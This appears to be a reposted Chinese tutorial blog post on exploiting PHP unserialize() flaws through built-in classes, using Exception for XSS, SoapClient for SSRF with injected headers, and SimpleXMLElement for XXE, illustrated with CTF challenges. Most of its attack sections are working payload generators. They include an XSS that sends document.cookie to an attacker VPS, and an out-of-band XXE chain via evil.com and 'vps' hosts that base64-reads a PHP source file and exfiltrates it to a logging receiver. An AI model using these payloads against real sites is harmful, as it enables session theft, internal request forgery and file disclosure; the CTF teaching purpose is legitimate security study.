文章总结: 本文阐述PHP反序列化漏洞中利用原生类替代自定义类的高级攻击技巧。重点解析了利用Exception类触发XSS、SoapClient实施SSRF及SimpleXMLElement进行XXE的原理与Payload构造,并结合CTF实例演示。该方法具备普适性与隐蔽性,在无可用自定义类时极具实战价值,为安全研究人员提供了关键思路与操作指南。 综合评分: 89 文章分类: 渗透测试,WEB安全,漏洞分析,CTF
第74天-PHP反序列化大杀器:无需自定义类,原生类照样Getshell!
原创
Сяо Яо Сяо Яо
AlphaNet
2026年3月9日 09:39 韩国
嘿,各位未来的白帽黑客们!👋 在PHP反序列化漏洞的利用中,我们通常的思路是寻找目标代码中已经定义好的、存在缺陷的类来构造POP链。但如果代码里没有现成的“玩具”怎么办?难道就束手无策了吗?
当然不!今天,就让我们一起探索一个更深层次、也更“致命”的技巧——利用PHP原生自带的类来搞事情! 💥
即使目标代码中一个可利用的类都没有,我们依然可以借助PHP的“出厂设置”,轻松实现XSS、SSRF甚至XXE攻击。准备好了吗?发车!
🧐 是什么:PHP原生类反序列化?
简单来说,PHP原生类反序列化是指在反序列化过程中,我们利用PHP语言环境中默认就存在的类(如 Exception, SoapClient, SimpleXMLElement 等),而非目标Web应用自己编写的类,来构造利用链(POP Chain)。
这就好比你潜入一个房间,发现主人没有留下任何可以利用的工具。但你转念一想,房间里总有椅子、台灯这些“标配”吧?于是你拿起椅子砸开了窗户。这里的“椅子”和“台灯”,就是PHP的原生类。
🤔 为什么:原生类如此强大?
利用原生类的核心优势在于其 普适性和隐蔽性。
普适性 (Universality)
只要目标环境是PHP,这些类大概率就存在。我们无需费心去寻找和分析目标应用的源码,大大降低了漏洞利用的前置条件。
隐蔽性 (Stealth)
很多安全检测和防御措施都聚焦于应用自身的代码,而对这些平平无奇的原生类的危险操作却可能疏于防范。
利用前提
-
存在反序列化入口:代码中必须有
unserialize()函数,并且其参数是用户可控的 -
触发关键魔术方法:如
__toString、__call、__construct等 -
PHP扩展开启:如
SoapClient需要php-soap
小技巧:如何寻找可用的原生类?
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__construct', '__destruct', '__toString', '__wakeup',
'__call', '__callStatic', '__get', '__set', '__isset',
'__unset', '__invoke', '__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
🛠️ 怎么做:三大原生类实战演练
🎯 1. Error / Exception → XSS
触发点
__toString() 魔术方法
攻击原理
Exception::__toString() 会返回错误信息字符串
如果 payload 被 echo 输出 → 触发 XSS
场景模拟
<?php
highlight_file(__file__);
// unserialize() 从GET参数'code'中获取数据
$a = unserialize($_GET['code']);
// echo 将对象转换为字符串,触发 __toString()
echo $a;
?>
Payload生成
<?php
// 1. 新建一个Exception对象,消息为XSS payload
$a = new Exception("<script>alert('You are hacked!')</script>");
// 2. 序列化对象
$serialized_obj = serialize($a);
// 3. URL编码后,作为参数提交
echo urlencode($serialized_obj);
?>
实战案例 BJDCTF 2nd – xss之光
<?php
$poc = new Exception("<script>window.open('http://your-vps-ip/?cookie='+document.cookie);</script>");
echo urlencode(serialize($poc));
?>
📡 2. SoapClient → SSRF
触发点
__call()
攻击原理
调用不存在方法 → SoapClient::__call()
自动向 location 发送 HTTP 请求
场景模拟
<?php
$s = unserialize($_GET['ssrf']);
// 调用一个不存在的方法 a(),这将触发 __call()
$s->a();
?>
Payload生成
<?php
// 1. 构造SoapClient对象
// 第一个参数为null,因为我们不关心WSDL
// 第二个参数是关键,在数组中设置 location 和 uri
$a = new SoapClient(null, array(
'location' => 'http://192.168.1.1:8080/admin', // 目标服务器要去请求的地址
'uri' => 'http://any-uri.com' // uri可以任意填写
));
// 2. 序列化并输出
$b = serialize($a);
echo urlencode($b);
?>
实战案例 CTFSHOW-259
<?php
// \r\n 用于换行,注入额外的HTTP头和POST请求体
$ua="evil_payload\r\n" .
"X-Forwarded-For: 127.0.0.1\r\n" .
"Content-Type: application/x-www-form-urlencoded\r\n" .
"Content-Length: 13\r\n\r\n" .
"token=ctfshow";
$client = new SoapClient(null, array(
'uri' => 'http://127.0.0.1/',
'location' => 'http://127.0.0.1/flag.php',
'user_agent' => $ua
));
echo urlencode(serialize($client));
?>
📄 3. SimpleXMLElement → XXE
触发点
__construct()
攻击原理
SimpleXMLElement 可以从 URL 加载 XML
开启 LIBXML_NOENT → 解析外部实体 → XXE
Payload生成
<?php
// 构造一个SimpleXMLElement对象
// 参数1: 恶意XML文件的URL
// 参数2: 选项,2代表 LIBXML_NOENT,是触发XXE的关键
// 参数3: data_is_url,设置为true,表示第一个参数是URL
$sxe = new SimpleXMLElement('http://evil.com/xxe.xml', 2, true);
$a = serialize($sxe);
echo $a;
?>
实战案例 SUCTF 2018 – Homework
第一层 payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://vps/send.xml">
%remote;
%all;
%send;
]>
第二层 payload
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=x.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/send.php?file=%file;'>">
接收端
<?php
file_put_contents("result.txt", $_GET['file']);
?>
✨ 总结时刻
让我们回顾一下今天的核心知识点:
核心思想
即使没有可用的自定义类,PHP原生类也是反序列化漏洞利用的强大武器。
Exception
利用 __toString()
可实现 XSS
SoapClient
利用 __call()
可实现 SSRF
SimpleXMLElement
利用 __construct()
可实现 XXE
今天的分享就到这里!你是否对PHP反序列化的威力有了全新的认识?这些技巧在CTF竞赛和真实世界的渗透测试中都非常实用。
🤔 思考一下
除了这三个类,你还能在PHP手册或者通过我们提供的脚本找到其他可以利用的原生类吗?
欢迎在评论区留下你的发现和脑洞!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet Сяо Яо Сяо Яо《第74天-PHP反序列化大杀器:无需自定义类,原生类照样Getshell!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论